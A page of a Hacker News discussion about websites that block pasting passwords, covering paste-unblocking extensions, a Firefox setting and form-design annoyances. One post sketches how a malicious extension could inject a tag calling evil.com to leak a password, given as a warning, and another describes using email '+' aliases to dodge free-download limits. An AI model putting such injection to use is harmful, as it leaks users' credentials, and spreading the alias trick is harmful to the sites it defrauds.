Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Let them paste passwords

ncsc.gov.uk

Post reply on HN
Print view View original

211–220 of 376 posts

Re: Let them paste passwords

#211

Post by dawnerd »

artursapek wrote: post #4

Of course it reduces security. It makes you resort to either 1.) typing it out manually while you can't see if you made a mistake 2.) using developer tools to set the 'value' attribute directly "SPP" discourages use of a password manager. End of story. I also see this pattern used on banking websites for inputs like an account number. This drives me crazy as well for the same reason. The computer can get it right mor…

Oddly enough namecheap prevents pasting into their 2fa code input. I tried to tell them that a lot of us get sms messages on your desktop thanks to apple messages.

Re: Let them paste passwords

#212

Post by michaelt »

theptip wrote: post #203
discreditable wrote: post #7

On Chrome you can use "Don't Fuck With Paste" to override these bad forms: https://chrome.google.com/webstore/detail/dont-fuck-with-pas...

I was overjoyed by this, and then i saw the permissions: "it can read and change all data on websites you visit". I _think_ that means it can send all of by passwords offsite, or do plugins need a separate permission to phone home? https://security.stackexchange.com/questions/15259/worst-cas...

Even if the plugin couldn't phone home directly, if they have the power to change the HTML of the page, they can insert " rel="nofollow">http://evil.com/phonehome?yourpassword=whatever"> and phone home that way. There's no permission that lets a plugin modify pages while preventing it from inserting tags that cause new requests.

The plugin's code is probably quite short - maybe you could inspect it yourself, manually?

Re: Let them paste passwords

#213

Post by thesuitonym »

criddell wrote: post #76
thesuitonym wrote: post #58

Earlier quoted context omitted.

Other signs that a site was built by incompetent developers (Or had too much management interference--Devs aren't always to blame!): Only works with Internet Explorer Doesn't work with Internet Explorer Password must have one of 4-10 special characters, but not other special characters. (e.g.: Must contain !, @, ^, &, or parentheses, but not ;, ", etc) Passwords have no requirements Right-click is disabled Video play…

How about case insensitive passwords? That one always bugs me because it suggests that maybe they are storing the password.

I knew I was forgetting something!

Re: Let them paste passwords

#214

Post by thesuitonym »

ythn wrote: post #165
thesuitonym wrote: post #58

Earlier quoted context omitted.

Other signs that a site was built by incompetent developers (Or had too much management interference--Devs aren't always to blame!): Only works with Internet Explorer Doesn't work with Internet Explorer Password must have one of 4-10 special characters, but not other special characters. (e.g.: Must contain !, @, ^, &, or parentheses, but not ;, ", etc) Passwords have no requirements Right-click is disabled Video play…

> Doesn't work with Internet Explorer Some of us just can't be bothered. My web app is tested on Chrome, Firefox, and Edge. If you want to use IE you are on your own and I won't support you unless you give me a million dollars.

You don't have to support all browsers, but but generally knowing what doesn't work on IE and avoiding the big problems these days is pretty easy.

Re: Let them paste passwords

#215

Post by theptip »

theptip wrote: post #203
discreditable wrote: post #7

On Chrome you can use "Don't Fuck With Paste" to override these bad forms: https://chrome.google.com/webstore/detail/dont-fuck-with-pas...

I was overjoyed by this, and then i saw the permissions: "it can read and change all data on websites you visit". I _think_ that means it can send all of by passwords offsite, or do plugins need a separate permission to phone home? https://security.stackexchange.com/questions/15259/worst-cas...

Hadn't done this before, but it's trivial to manually load the plugin[1] from the cloned git repo[2].

It's a bit disappointing that Chrome doesn't let you sandbox things well enough to install plugins safely; there's no reason that plugins should be allowed to transmit data without asking for permission.

[1]: https://developer.chrome.com/extensions/getstarted [2]: https://github.com/jswanner/DontFuckWithPaste

Re: Let them paste passwords

#216

Post by pwg »

jmkni wrote: post #83
artursapek wrote: post #4

Of course it reduces security. It makes you resort to either 1.) typing it out manually while you can't see if you made a mistake 2.) using developer tools to set the 'value' attribute directly "SPP" discourages use of a password manager. End of story. I also see this pattern used on banking websites for inputs like an account number. This drives me crazy as well for the same reason. The computer can get it right mor…

I use a password manager to generate long, complex passwords for every service I use (as complex as the service will allow). For sites that disable pasting, I have developed quite a skill at copying the password character by character from my PM into the password field. I'm even starting to remember a couple of them. Incredibly frustrating.

> For sites that disable pasting,

For Firefox, setting the "dom.event.clipboardevents.enabled" about:config option to false prevents clipboard paste events from reaching javascript. No more blocked pasting after you toggle that option, even if the website attempts to do so.

Re: Let them paste passwords

#217

Post by frik »

artursapek wrote: post #4

Of course it reduces security. It makes you resort to either 1.) typing it out manually while you can't see if you made a mistake 2.) using developer tools to set the 'value' attribute directly "SPP" discourages use of a password manager. End of story. I also see this pattern used on banking websites for inputs like an account number. This drives me crazy as well for the same reason. The computer can get it right mor…

So many forms also ask to enter the email address twice. I mean I can understand asking to type in the password twice, but email address - seriously!?

Re: Let them paste passwords

#219

Post by sgustard »

_jal wrote: post #57

In general, more and more sites encourage me to just leave Javascript turned off all the time. If they break, screw them, I'll go elsewhere. The only sites "sticky" enough to make me put up with it are financial, and that's only because they all suck so changing solves nothing. 'Missing out' on Angular sites hasn't left me feel like I'm missing anything in my life. This ties in to the discussion of Craig's List the o…

So no Google Maps for you? I remember mapquest 20 years ago where you'd pan the map by clicking arrows and reloading the page. Good times! Usability totally won that day.

Re: Let them paste passwords

#220

Post by tonmoy »

tclancy wrote: post #70
thesuitonym wrote: post #58

Earlier quoted context omitted.

Other signs that a site was built by incompetent developers (Or had too much management interference--Devs aren't always to blame!): Only works with Internet Explorer Doesn't work with Internet Explorer Password must have one of 4-10 special characters, but not other special characters. (e.g.: Must contain !, @, ^, &, or parentheses, but not ;, ", etc) Passwords have no requirements Right-click is disabled Video play…

Not allowing + in an email field is one of my pet peeves. Congrats on finding an amazing-looking regex for email validation instead of thinking about it.

well, string+{whatever1}@gmail.com mails are redirected to string@gmail.com. So a user can just open account for string@gmail.com and then use that to open thousands of user accounts on the site that allows "+" on the email field. (I used to do this on sites that allowed limited number of free downloads after which you had to pay)
Post reply on HN